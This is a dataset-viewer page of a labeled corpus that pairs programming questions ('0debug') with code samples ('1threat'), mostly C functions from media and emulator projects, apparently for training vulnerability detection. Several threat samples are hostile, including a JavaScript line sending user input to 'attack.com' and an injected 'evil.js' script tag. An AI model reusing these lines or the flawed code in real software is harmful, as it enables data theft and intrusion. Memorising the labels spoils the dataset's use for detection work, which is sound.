problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
Grid System Horizontal Order : <p>Is there any way I can accomplish the following order without adding any div's?</p>
<p><strong>t1 t2 t3</strong></p>
<p><strong>d1 d2 d3</strong></p>
<pre><code><dl>
<dt>t1</dt>
<dd>d1</dd>
<dt>t2</dt>
<dd>d2</dd>
<dt>t... | 0debug |
Customise ng serve to proxy calls to /api? : <p>I created a new application with ng CLI, works like a charm:
<code>
ng new babysteps
cd babysteps
ng serve
</code>
ng serve uses webpack to assemble the app. To fully test it, I need to serve <code>/api...</code> from my API mock server (specifically the POST requests). H... | 0debug |
How to create a 3rd column based on 2 columns from two tables [inner and outer join] : <ul>
<li>I have a lot of rows in 'table alpha' where some of these rows occurs in 'table beta' as well.</li>
<li>Both row alpha and beta have a date column.
<ul>
<li>However, when i select both date columns the rows from table alpha... | 0debug |
def amount_of_Chests () : : def amount_of_Chests () :
chestCount = 0
amount_of_Chests_Display ()
while chestCount <4 :
chestCount_string = input("Please Make Sure You Enter Enough Chests\nPlease Enter How Many Chests You Would Like (Min.4)")
chestCount = int(chestCount_string)
... | 0debug |
Search for code or text in GitLab : <p>Is it possible to search for code or text in GitLab inside of files? I can search for files, issues, milestones, etc., but could not find a way to search for code in source files or text in the documentation i.e .doc files.</p>
| 0debug |
static void simpleCopy(SwsContext *c, uint8_t* srcParam[], int srcStrideParam[], int srcSliceY,
int srcSliceH, uint8_t* dstParam[], int dstStride[]){
int srcStride[3];
uint8_t *src[3];
uint8_t *dst[3];
if(c->srcFormat == IMGFMT_I420){
src[0]= srcParam[0];
src[1]= srcParam[2];
src[2]= ... | 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
c++ : invoking tcl proc from c++ in multithreaded mode : I am working in c++.
My function func() is being called by multiple threads. ( each thread will call this function only once)
From inside the func(), I want each thread to call a TCL proc named tcl_proc_name ( which takes no arguments )
For this, I did like... | 0debug |
static void rv40_loop_filter(RV34DecContext *r, int row)
{
MpegEncContext *s = &r->s;
int mb_pos, mb_x;
int i, j, k;
uint8_t *Y, *C;
int alpha, beta, betaY, betaC;
int q;
int mbtype[4];
int mb_strong[4];
int clip[4];
int cbp[4];
... | 1threat |
void xen_pt_msi_disable(XenPCIPassthroughState *s)
{
XenPTMSI *msi = s->msi;
if (!msi) {
return;
}
xen_pt_msi_set_enable(s, false);
msi_msix_disable(s, msi_addr64(msi), msi->data, msi->pirq, false,
msi->initialized);
msi->flags = 0;
msi->m... | 1threat |
Why there are two buttons in GUI Configure and Generate when CLI does all in one command : <p>I understand that cmake is build generator. It mean that it can generate appropriate builds (makefiles, Visual Studio project etc.) based on instructions from CMakeLists.txt. But I do not understand two things which I guess ar... | 0debug |
Why is regex search slower with capturing groups in Python? : <p>I have an application code which generates regexes dynamically
from a config for some parsing.
When timing performance of two variations, the regex variation
with each part of an OR regex being captured is noticably slow than
a normal regex.
The reason wo... | 0debug |
how do i display the output from for loop as a table in php : my output is in the form of a 2d array. i have uploaded a sample file and the output is displayed like a paragraph. i want it to be displayed as a table.
code:
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-h... | 0debug |
How to Pass checked and unchecked Checkbox value to another Activity in Android..? : This is my working code for passing checked and unchecked Checkbox value to Another Activity..i hope it will be helpful for you g`enter code here` | 0debug |
CompletableFuture in the Android Support Library? : <p>So I was migrating an Android Studio project to Java 8, Android API level 24 and the Jack toolchain today to check out the new features, especially lambdas and <code>CompletableFuture</code>. </p>
<p>Unfortunately, <code>CompletableFuture</code> seems to be availa... | 0debug |
Excel VBA row to column : I want to trim my excel data from single row to multiple row using vba, after trying many tricks from other source, still no luck, so i open topic here hope someone will help me with vba script
My Input data (Column A1):
[Input][1]
I wish my output (Column C1 and D1)
[Output][2]
S... | 0debug |
static int encode_picture_ls(AVCodecContext *avctx, unsigned char *buf, int buf_size, void *data){
JpeglsContext * const s = avctx->priv_data;
AVFrame *pict = data;
AVFrame * const p= (AVFrame*)&s->picture;
const int near = avctx->prediction_method;
PutBitContext pb, pb2;
GetBitContext gb;... | 1threat |
What is the reached end of file while parsing error, and how can I avoid this error in the future? : My question is very simple. I am just wondering what the reached end of file while parsing error actually means / is. Why this error actually occurs. In addition, how I could avoid it. Before you say that this is a dupl... | 0debug |
Python pass by value : <p>I'm a beginner for Python. I want to know some cases to pass by values instead of references. Assume we have the class:</p>
<pre><code>class myC():
def __init__(self, x):
self.val = x
</code></pre>
<p>and the functions:</p>
<pre><code>def myF1(myc):
myc.val = 1
def myF2(myDi... | 0debug |
static void uart_write(void *opaque, target_phys_addr_t addr,
uint64_t value, unsigned size)
{
LM32UartState *s = opaque;
unsigned char ch = value;
trace_lm32_uart_memory_write(addr, value);
addr >>= 2;
switch (addr) {
case R_RXTX:
if (s->chr) {
... | 1threat |
GCC 7, -Wimplicit-fallthrough warnings, and portable way to clear them? : <p>We are catching warnings from GCC 7 for implicit fall through in a switch statement. Previously, we cleared them under Clang (that's the reason for the comment seen below):</p>
<pre><code>g++ -DNDEBUG -g2 -O3 -std=c++17 -Wall -Wextra -fPIC -c... | 0debug |
i wrote this code it all works until it comes to setting the color i dont know what is wrong pleaseee : from swampy.TurtleWorld import *
import random
world = TurtleWorld()
Turtle_1 = Turtle()
print('*****Welcome to Sehir Minesweeper*****')
print('-----First Turtle-----')
Turtle_1 = input('Please ty... | 0debug |
how to remove lines in OpenCV : I want to remove lines and keypoints. I just want to remain a green rectangular.
Is there a function except for drawMatches or can I make lines and keypoints invisible in drawMatches?
Mat img_matches;
drawMatches( img_object, keypoints_object, img_scene, keypoints_scene,... | 0debug |
how to get innerHTML value in java code : I want to change table <td> data by using innerHTML property.
But after applying innerHTML property those values set in <TD> but not
accessible in java code
So is there any alternative to innerHTML property so that value can be set inv<td>
and it can also be acces... | 0debug |
how to shortcut a coroutine in unity C#? : I write a coroutine to do a batch work every frame, I have no problem to start it, but, I want to short-cut the execution when specific condition meets.
Such as :
public IEnumerator workCoroutine(){
int i = 0;
if(GLOBAL_LOCK){
... | 0debug |
const char *bdrv_get_node_name(const BlockDriverState *bs)
{
return bs->node_name;
}
| 1threat |
static void vga_update_text(void *opaque, console_ch_t *chardata)
{
VGACommonState *s = opaque;
int graphic_mode, i, cursor_offset, cursor_visible;
int cw, cheight, width, height, size, c_min, c_max;
uint32_t *src;
console_ch_t *dst, val;
char msg_buffer[80];
int full_update = 0;
if (!(... | 1threat |
Compare a tuple : I want to compare 2 tuple `T1` and `T2`, which are both three-element-tuple, by firstly comparing `T[0]`, if `T1[0]==T2[0]`, then compare `T1[1]` and `T2[1]`, if `T1[1]==T2[1]` then compare `T1[2]` and T2[2].
| 0debug |
Delphi Tokyo exception prevents setting function result : <p>Found that exception handling in Delphi Tokyo behaves a little different than in previous Delphi versions.</p>
<pre><code>function FuncTest: integer;
begin
Result := 1;
try
raise Exception.Create('Error Message');
finally
Result := 2;
end;
en... | 0debug |
How does the global variable behave inside function(Python) : <p>Case 1</p>
<pre><code>A = '213'
def wow():
print(A)
wow()
Output: '213'
</code></pre>
<p>Case 2</p>
<pre><code>A = '213'
def wow():
print(A)
A = 12
wow()
Output: UnboundLocalError: local variable 'A' referenced before assignment
</code></pr... | 0debug |
Are all final variables captured by anonymous classes? : <p>I thought I knew the answer to this, but I can't find any confirmation after an hour or so of searching.</p>
<p>In this code:</p>
<pre><code>public class Outer {
// other code
private void method1() {
final SomeObject obj1 = new SomeObject(... | 0debug |
static int jpeg2000_read_main_headers(Jpeg2000DecoderContext *s)
{
Jpeg2000CodingStyle *codsty = s->codsty;
Jpeg2000QuantStyle *qntsty = s->qntsty;
uint8_t *properties = s->properties;
for (;;) {
int len, ret = 0;
uint16_t marker;
int oldpos;
if (byt... | 1threat |
AutoMapper Migrating from static API : <p><a href="https://github.com/AutoMapper/AutoMapper/wiki/Migrating-from-static-API" rel="noreferrer">https://github.com/AutoMapper/AutoMapper/wiki/Migrating-from-static-API</a></p>
<p>this change breaks my system.</p>
<p>Before update, I use:</p>
<p>===> Startup.cs</p>
<pre><... | 0debug |
Slow len function on dask distributed dataframe : <p>I have been testing how to use dask (cluster with 20 cores) and I am surprised by the speed that I get on calling a len function vs slicing through loc.</p>
<pre><code>import dask.dataframe as dd
from dask.distributed import Client
client = Client('192.168.1.220:878... | 0debug |
How to count for each row using other table in SQL? : <p>I have two tables: book table and author table. I need to count for each author how many book is registered in book table. How to do that?</p>
| 0debug |
Azure Function: Publish fails with message "Web Deploy cannot modify the file on the Destination because it is locked by an external process." : <p>I am developing an Azure Functions Project and when I publish first time, OK.
Then I publish again, this Error appears:</p>
<blockquote>
<p>Web Deploy cannot modify the ... | 0debug |
static int xvid_strip_vol_header(AVCodecContext *avctx, AVPacket *pkt,
unsigned int header_len,
unsigned int frame_len)
{
int vo_len = 0, i;
for (i = 0; i < header_len - 3; i++) {
if (pkt->data[i] == 0x00 &&
pkt->... | 1threat |
void qvirtio_pci_device_disable(QVirtioPCIDevice *d)
{
qpci_iounmap(d->pdev, d->addr);
d->addr = NULL;
}
| 1threat |
ff_rm_retrieve_cache (AVFormatContext *s, AVIOContext *pb,
AVStream *st, RMStream *ast, AVPacket *pkt)
{
RMDemuxContext *rm = s->priv_data;
assert (rm->audio_pkt_cnt > 0);
if (ast->deint_id == DEINT_ID_VBRF ||
ast->deint_id == DEINT_ID_VBRS)
av_get_packet(pb,... | 1threat |
Simple Temperature Converter : <p>Can someone tell me what's wrong with this program? </p>
<p>-------- cut here -----------</p>
<pre><code>import sys
def temp_converter_2(degree):
print("Do you want to convert to Celsius or Fahrenheit? Enter C or F")
answer = str(sys.stdin.readline())
if answer == "C":
co... | 0debug |
static void address_space_update_ioeventfds(AddressSpace *as)
{
FlatRange *fr;
unsigned ioeventfd_nb = 0;
MemoryRegionIoeventfd *ioeventfds = NULL;
AddrRange tmp;
unsigned i;
FOR_EACH_FLAT_RANGE(fr, &as->current_map) {
for (i = 0; i < fr->mr->ioeventfd_nb; ++i) {
t... | 1threat |
Tail command without permission in Linux : <p>When I try to use 'tail' command in a cloud server, I'm get a permission denied error:</p>
<pre><code>$ ssh myUser@server
:~$ tail /var/log/syslog
tail: cannot open ‘/var/log/syslog’ for reading: Permission denied
</code></pre>
<p>How to get permission in tail command?</... | 0debug |
static void test_visitor_in_fail_list_nested(TestInputVisitorData *data,
const void *unused)
{
int64_t i64 = -1;
Visitor *v;
v = visitor_input_test_init(data, "[ 0, [ 1, 2, 3 ] ]");
visit_start_list(v, NULL, NULL, 0, &error_abort);
visi... | 1threat |
static int setup_sigcontext(struct target_sigcontext *sc, CPUAlphaState *env,
abi_ulong frame_addr, target_sigset_t *set)
{
int i, err = 0;
__put_user(on_sig_stack(frame_addr), &sc->sc_onstack);
__put_user(set->sig[0], &sc->sc_mask);
__put_user(env->pc, &sc->sc_pc);
... | 1threat |
Do we need backend framework if user React or Angular : <p>So question is do we need backend framework e.g. Laverel etc. if we user Angular\React? Don't undestend why we need cuz i use baclend only for REST API, I can not understand why they can be useful if we do all job on froendend</p>
| 0debug |
Can't make this work : <p>How can i change variable value?, i tried using "Promises" but it doesn't work it gaves me an error, i'm trying to load a data on a table</p>
<pre><code> /* Formating function for row details */
function fnFormatDetails(oTable, nTr) {
var aD... | 0debug |
Go (golang) access data inside memory location array : Im trying to parse the following type array in geth to "look inside" and get the info but cant figure out how to do it
```
txs []*types.Transaction
```
this type is declared elsewhere in geth as
```
type Transaction struct {
data txdata
hash ... | 0debug |
Counting the number of elements associated with another value in R : <p>For example, In a dataset, I have three groups as 1,2,3 and each group can either assign to 0 or 1. What is the code in R that allows me to count how many 0 assigned to group 1?</p>
| 0debug |
PCIBus *pci_register_bus(DeviceState *parent, const char *name,
pci_set_irq_fn set_irq, pci_map_irq_fn map_irq,
qemu_irq *pic, int devfn_min, int nirq)
{
PCIBus *bus;
static int nbus = 0;
bus = FROM_QBUS(PCIBus, qbus_create(&pci_bus_info, parent, nam... | 1threat |
static int save_xbzrle_page(QEMUFile *f, uint8_t *current_data,
ram_addr_t current_addr, RAMBlock *block,
ram_addr_t offset, int cont, bool last_stage)
{
int encoded_len = 0, bytes_sent = -1;
uint8_t *prev_cached_page;
if (!cache_is_cached(XBZR... | 1threat |
def floor_Min(A,B,N):
x = max(B - 1,N)
return (A*x) // B | 0debug |
How can I use all entities instead of listing them all individually (Symfony)? : In my Controller I list all entities I have:
use App\Entity\Members;
use App\Entity\Products;
use App\Entity\Projects;
But because new Entities will automatically be created, I need instead something like
use Al... | 0debug |
Is function declaration in Golang strict? : Why does this code work? The fuction `Introduce()` accept a pointer to `Person`
but when we create `p` - it is an object (not a pointer).
So is function declaration not strict?
package main
import "fmt"
type Person struct {
Name string
... | 0debug |
Unexpected error while using the len statement : <p>I am trying to solve one of the katas in codewars. The code gives an unexpected error while using len statement. Please can someone help with this.</p>
<pre><code>def scramble(s1,s2):
j1=[i for i in s2 if i in s1]
j1=j1.sort()
s1=[x for x in s1]
s1=s1... | 0debug |
wpf binding datagrid filled from MySQL : i have that code in my desktop application that fill the datagrid from mysql database
var mA = new MySql.Data.MySqlClient.MySqlDataAdapter("SELECT * FROM items", DataHolder.MySqlConnection);
var mT = new System.Data.DataTable();
... | 0debug |
Is there a PHP equivalent of JavaScript's Array.prototype.some() function : <p>In JavaScript, we can do:</p>
<pre><code>function isBiggerThan10(element, index, array) {
return element > 10;
}
[2, 5, 8, 1, 4].some(isBiggerThan10); // false
[12, 5, 8, 1, 4].some(isBiggerThan10); // true
</code></pre>
<p><a href="... | 0debug |
Importance of original features after applying PCA : <p>Assume that I have 5 features A, B, C, D, E.</p>
<p>I apply PCA to my data to reduce the dimensionality to 3. It means now I have 3 principal components where each PC is a new variable. Now I want to know which feature among A, B, C, D, E is most important, which... | 0debug |
Self-signed SSL certificates not working with MAMP and Chrome : <p>SSL certificates created by MAMP are not working in Chrome. I'm getting a "Not secure" issue.</p>
<p>Is there a workaround for this?</p>
<p><a href="https://i.stack.imgur.com/kvI1U.png" rel="noreferrer"><img src="https://i.stack.imgur.com/kvI1U.png" a... | 0debug |
How to make ffmpeg available inside my Docker container? : <p>I'm currently trying to run a <code>ffmpeg</code> Docker image inside my own container with <code>docker-compose</code> using the <code>depends_on</code> clause. But when I try to reach <code>ffmpeg</code> inside my code, it seems like it's not available sys... | 0debug |
static int filter_samples(AVFilterLink *inlink, AVFilterBufferRef *samplesref)
{
AVFilterContext *ctx = inlink->dst;
int i, ret = 0;
for (i = 0; i < ctx->nb_outputs; i++) {
ret = ff_filter_samples(inlink->dst->outputs[i],
avfilter_ref_buffer(samplesref, ~AV_PE... | 1threat |
2 arrays of object between difference : <p>I want to get the difference between the first array and the second array. As a result;</p>
<pre><code>var arr1 = [{name: "Yesügey", lastName: "Yeşil", phone: "+90 333 9695395"},
{name: "Firdest", lastName: "Firdevis", phone: "+90 333 4234638"},
{name: "Pehlivan", lastName: "... | 0debug |
void imx_timerp_create(const target_phys_addr_t addr,
qemu_irq irq,
DeviceState *ccm)
{
IMXTimerPState *pp;
DeviceState *dev;
dev = sysbus_create_simple("imx_timerp", addr, irq);
pp = container_of(dev, IMXTimerPState, busdev.qdev);
... | 1threat |
static void ehci_update_frindex(EHCIState *ehci, int uframes)
{
int i;
if (!ehci_enabled(ehci) && ehci->pstate == EST_INACTIVE) {
return;
}
for (i = 0; i < uframes; i++) {
ehci->frindex++;
if (ehci->frindex == 0x00002000) {
ehci_raise_irq(ehci, USBSTS_F... | 1threat |
void configure_icount(QemuOpts *opts, Error **errp)
{
const char *option;
char *rem_str = NULL;
option = qemu_opt_get(opts, "shift");
if (!option) {
if (qemu_opt_get(opts, "align") != NULL) {
error_setg(errp, "Please specify shift option when using align");
}
... | 1threat |
static void vector_fmul_window_mips(float *dst, const float *src0,
const float *src1, const float *win, int len)
{
float * dst_j, *win_j, *src0_i, *src1_j, *dst_i, *win_i;
float temp, temp1, temp2, temp3;
float s0, s01, s1, s11;
float wi, wi1, wi2, wi3;
flo... | 1threat |
static inline void gen_intermediate_code_internal(SPARCCPU *cpu,
TranslationBlock *tb,
bool spc)
{
CPUState *cs = CPU(cpu);
CPUSPARCState *env = &cpu->env;
target_ulong pc_start, last_pc;
uint16_t ... | 1threat |
static int audio_get_buffer(AVCodecContext *avctx, AVFrame *frame)
{
AVCodecInternal *avci = avctx->internal;
InternalBuffer *buf;
int buf_size, ret;
buf_size = av_samples_get_buffer_size(NULL, avctx->channels,
frame->nb_samples, avctx->sample_fmt,
... | 1threat |
Expecting class path separator ';' before '\Android\android-sdk\build-tools\23.0.1\lib\shrinkedAndroid.jar' in argument number 8 : <p>Using VS 2015 for Xamarin development, when I attempt to build an Android project which has Enable Multi-Dex checked, I get the following error :-</p>
<blockquote>
<p>Expecting class ... | 0debug |
static void test_co_queue(void)
{
Coroutine *c1;
Coroutine *c2;
c1 = qemu_coroutine_create(c1_fn);
c2 = qemu_coroutine_create(c2_fn);
qemu_coroutine_enter(c1, c2);
memset(c1, 0xff, sizeof(Coroutine));
qemu_coroutine_enter(c2, NULL);
}
| 1threat |
QDict *qdict_new(void)
{
QDict *qdict;
qdict = g_malloc0(sizeof(*qdict));
QOBJECT_INIT(qdict, &qdict_type);
return qdict;
}
| 1threat |
document.write('<script src="evil.js"></script>'); | 1threat |
Why is std::vector so much slower then array pointer : <p>Im creating a Opengl font batch draw.</p>
<p>I want to know why my std::vector is so much slower then using a array pointer.</p>
<p>I have tried adding vector reserve and everything i can think of.</p>
<p>My FPS drops just over half when using vectors.</p>
<... | 0debug |
C# Declaration of Class for use as List : I'm trying to declare this item for use as a list.
class Item
{
Public int Resource{ get;set; }
Public long Offset{ get;set; }
Public int Value{ get;set; }
}
I thought this would be ok, I copied it off someone else, but I don't understand what get an... | 0debug |
ModuleNotFoundError: No module named '_curses' : From where i can remove these error
im using pycharm on windows
Traceback (most recent call last):
File "C:/Users/Charan/PycharmProjects/helloworld/snake.py", line 2, in <module>
import curses
File "C:\Users\Charan\AppData\Local\Programs\Python\Python37-32\l... | 0debug |
static int smacker_decode_header_tree(SmackVContext *smk, BitstreamContext *bc,
int **recodes, int *last, int size)
{
int res;
HuffContext huff;
HuffContext tmp1, tmp2;
VLC vlc[2] = { { 0 } };
int escapes[3];
DBCtx ctx;
int err = 0;
if(si... | 1threat |
C++ unique_ptr initialization through constructor : <p>I have simple (I suppose) problem with my C++ code. Each time I initialize unique_ptr through constructor I'm getting the same problem: </p>
<blockquote>
<p><strong>munmap_chunk(): invalid pointer: 0x00007ffc40ba6bf0</strong></p>
</blockquote>
<p>Here's the cod... | 0debug |
Can I install python 3.7 in ubuntu 18.04 without having python 3.6 in the system? : <p>Please read the question carefully before closing as duplicate, I believe the use case to be unique.</p>
<p>I'm trying to create a docker image that <strong>only has python 3.7 installed</strong>, the problem is that if I try to ins... | 0debug |
Anti Forgery Token race condition : <p>I have an MVC view that is supposed to be iFramed. And several instances of it might be iFramed in the same host page. In my view I have this:</p>
<pre><code>@Html.AntiForgeryToken()
</code></pre>
<p>Which I use to try to make sure calls to a web api are only coming from this pa... | 0debug |
encode image to base64 from amazon-s3 : I have iframe which contain image. Image source is link to image in amazon-S3 bucket. I need encode this image in base64 and save ifram's body in db.
How can i do this? | 0debug |
When I launch the Kentico site, I see offline page : After Upgrade kentico to 10, and fix errors in code. I launch the Kentico site, and see offline page(screenshot attached)
[screenshot][1]
Who can know why this happened?
[1]: https://i.stack.imgur.com/g5P7v.png | 0debug |
void register_displaychangelistener(DisplayChangeListener *dcl)
{
QemuConsole *con;
trace_displaychangelistener_register(dcl, dcl->ops->dpy_name);
dcl->ds = get_alloc_displaystate();
QLIST_INSERT_HEAD(&dcl->ds->listeners, dcl, next);
gui_setup_refresh(dcl->ds);
if (dcl->con) {
... | 1threat |
static void omap2_mpu_reset(void *opaque)
{
struct omap_mpu_state_s *mpu = (struct omap_mpu_state_s *) opaque;
omap_inth_reset(mpu->ih[0]);
omap_dma_reset(mpu->dma);
omap_prcm_reset(mpu->prcm);
omap_sysctl_reset(mpu->sysc);
omap_gp_timer_reset(mpu->gptimer[0]);
omap_gp_timer_reset(... | 1threat |
How to fix this? : <p>How do I fix this? I know that the error is in line 8 (g = f/5) but how do i fix the error? </p>
<pre><code>a = input("Enter a number: ")
b = input("Enter a second number: ")
c = input("Enter a third number: ")
d = input("Enter a fourth number: ")
e = input("Enter a fifth number: ")
f = a+b+c+... | 0debug |
How to replace ^ character in JS : <p>I have a json data in my hand and I want to clear this character "^"</p>
<p>but I can't get out of it because it's a regex operator.</p>
<p>The code I wrote:</p>
<pre><code>data = JSON.stringify(data)
data = data.replace(/^1/g, '');
data = JSON.parse(data)
</code></pre>
| 0debug |
static void test_hybrid_analysis(void)
{
LOCAL_ALIGNED_16(INTFLOAT, dst0, [BUF_SIZE], [2]);
LOCAL_ALIGNED_16(INTFLOAT, dst1, [BUF_SIZE], [2]);
LOCAL_ALIGNED_16(INTFLOAT, in, [12], [2]);
LOCAL_ALIGNED_16(INTFLOAT, filter, [N], [8][2]);
declare_func(void, INTFLOAT (*out)[2], INTFLOAT (*in)[2],... | 1threat |
Regular Expression specific to a particular message pattern : As I'm pretty new to Regular Expression, I'm looking for a regular expression which will validate whether entire string is separated by '|' and there will be values with '$' followed by an integer.
Valid Values:
ABC=$2|CDE=$1|Msg=$4|Ph.No=$3|TIME=$5
... | 0debug |
Export pyLDAvis graphs as standalone webpage : <p>i am analysing text with topic modelling and using Gensim and pyLDAvis for that. Would like to share the results with distant colleagues, without a need for them to install python and all required libraries.
Is there a way to export interactive graphs as HTML/JS files ... | 0debug |
how to invoke the _Verify_range in vector in c++? :
my code
```c++
#include <iostream>
#include <vector>
#include <algorithm>
using std::vector;
using std::cout;
using std::endl;
using std::back_inserter;
int main(void) {
vector<int> coll1 {1, 2, 3, 4};
vector<int> coll2;
copy(coll1.b... | 0debug |
static av_always_inline int encode_line(FFV1Context *s, int w,
int16_t *sample[3],
int plane_index, int bits)
{
PlaneContext *const p = &s->plane[plane_index];
RangeCoder *const c = &s->c;
int x;
int run_index = s->... | 1threat |
how to know the depth of a git's shallow clone? : <p>If I retrieve a shallow clone, e.g.</p>
<pre><code>git clone --depth 10 http://foo.bar/baz.git
</code></pre>
<p>Does <code>git</code> have any command to retrieve the depth of this clone? (e.g. a command that simply prints <code>10</code>).</p>
| 0debug |
static int64_t coroutine_fn raw_co_get_block_status(BlockDriverState *bs,
int64_t sector_num,
int nb_sectors, int *pnum)
{
off_t start, data = 0, hole = 0;
int64_t total_size;
int ret;
ret = ... | 1threat |
int ffurl_read(URLContext *h, unsigned char *buf, int size)
{
if (h->flags & AVIO_FLAG_WRITE)
return AVERROR(EIO);
return retry_transfer_wrapper(h, buf, size, 1, h->prot->url_read);
}
| 1threat |
Problems building a GUI which will compare algorithms : <p>I'm looking to build a GUI that will let the user randomly populate an array and then compare the time it takes to sort by bubble sort, insertion sort and selection sort. i have the code for the 3 algorithms but i'm struggling to put it all together and compare... | 0debug |
Choice Stack Between Meteor, Ionic 2, Firebase : <p>I'm brand new to coding (still consoliding my JS) and i have a project for a webiste + mobile app to help people with their diet. It will have a database with lots of recipe and people will be able to put their needs, the application will propose them list of grocerie... | 0debug |
Using multiple buckets with ActiveStorage : <p>Does anyone know if there is a way to configure custom buckets for specific attachments?</p>
<pre><code>class MyModel < ApplicationRecord
...
has_one_attached :logo, bucket: 'custom_bucket'
...
end
</code></pre>
| 0debug |
static int16_t *precalc_coefs(double dist25, int depth)
{
int i;
double gamma, simil, C;
int16_t *ct = av_malloc((512<<LUT_BITS)*sizeof(int16_t));
if (!ct)
return NULL;
gamma = log(0.25) / log(1.0 - FFMIN(dist25,252.0)/255.0 - 0.00001);
for (i = -255<<LUT_BITS; i <= 255<<LUT_... | 1threat |
Need help building a counter in C inside a do while loop : I am trying to keep a count of how many times the operation inside the do-while loop is repeating, but the counter only shows 1 each time. Can anyone tell me where is my mistake? I have provided the code here.
#include <stdio.h>
#include <math.h>
... | 0debug |
static void lsi_command_complete(SCSIBus *bus, int reason, uint32_t tag,
uint32_t arg)
{
LSIState *s = DO_UPCAST(LSIState, dev.qdev, bus->qbus.parent);
int out;
out = (s->sstat1 & PHASE_MASK) == PHASE_DO;
if (reason == SCSI_REASON_DONE) {
DPRINTF("Comman... | 1threat |
static bool scsi_block_is_passthrough(SCSIDiskState *s, uint8_t *buf)
{
switch (buf[0]) {
case VERIFY_10:
case VERIFY_12:
case VERIFY_16:
if ((buf[1] & 6) != 2) {
return false;
}
break;
case READ_6:
case READ_10:
case READ_12:... | 1threat |
I am new to Python. While coding an error of name not defined is generated. Can anyone help me with this? : I was coding for the question--Write a Python function that takes two lists and returns True if they have at least one common member
code:
first = [a,b,c,d,e,f]
second = [a,s,d,f,g,h]
for word1 in first:
... | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.